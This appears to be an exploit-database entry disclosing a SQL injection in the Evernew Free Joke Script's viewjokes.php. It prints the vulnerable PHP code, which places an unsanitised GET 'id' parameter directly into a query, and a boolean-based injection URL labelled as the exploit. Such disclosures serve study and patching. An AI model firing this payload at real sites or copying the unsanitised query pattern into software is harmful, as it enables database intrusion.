Evernew Free Joke Script (viewjokes.php) SQL Injection

2010-02-01T00:00:00
ID 1337DAY-ID-10752
Type zdt
Reporter n/a
Modified 2010-02-01T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ======================================================
Evernew Free Joke Script (viewjokes.php) SQL Injection
======================================================

/*
 
Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com
 
Author : Hamza 'MizoZ' N.
 
*/
 
# VULN CODE ]--[ viewjokes.php :
 
$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];
 
stuffViewer($id, 'jokes');
 
$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);
 
# EXPLOIT :
 
http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--



#  0day.today [2018-03-20]  #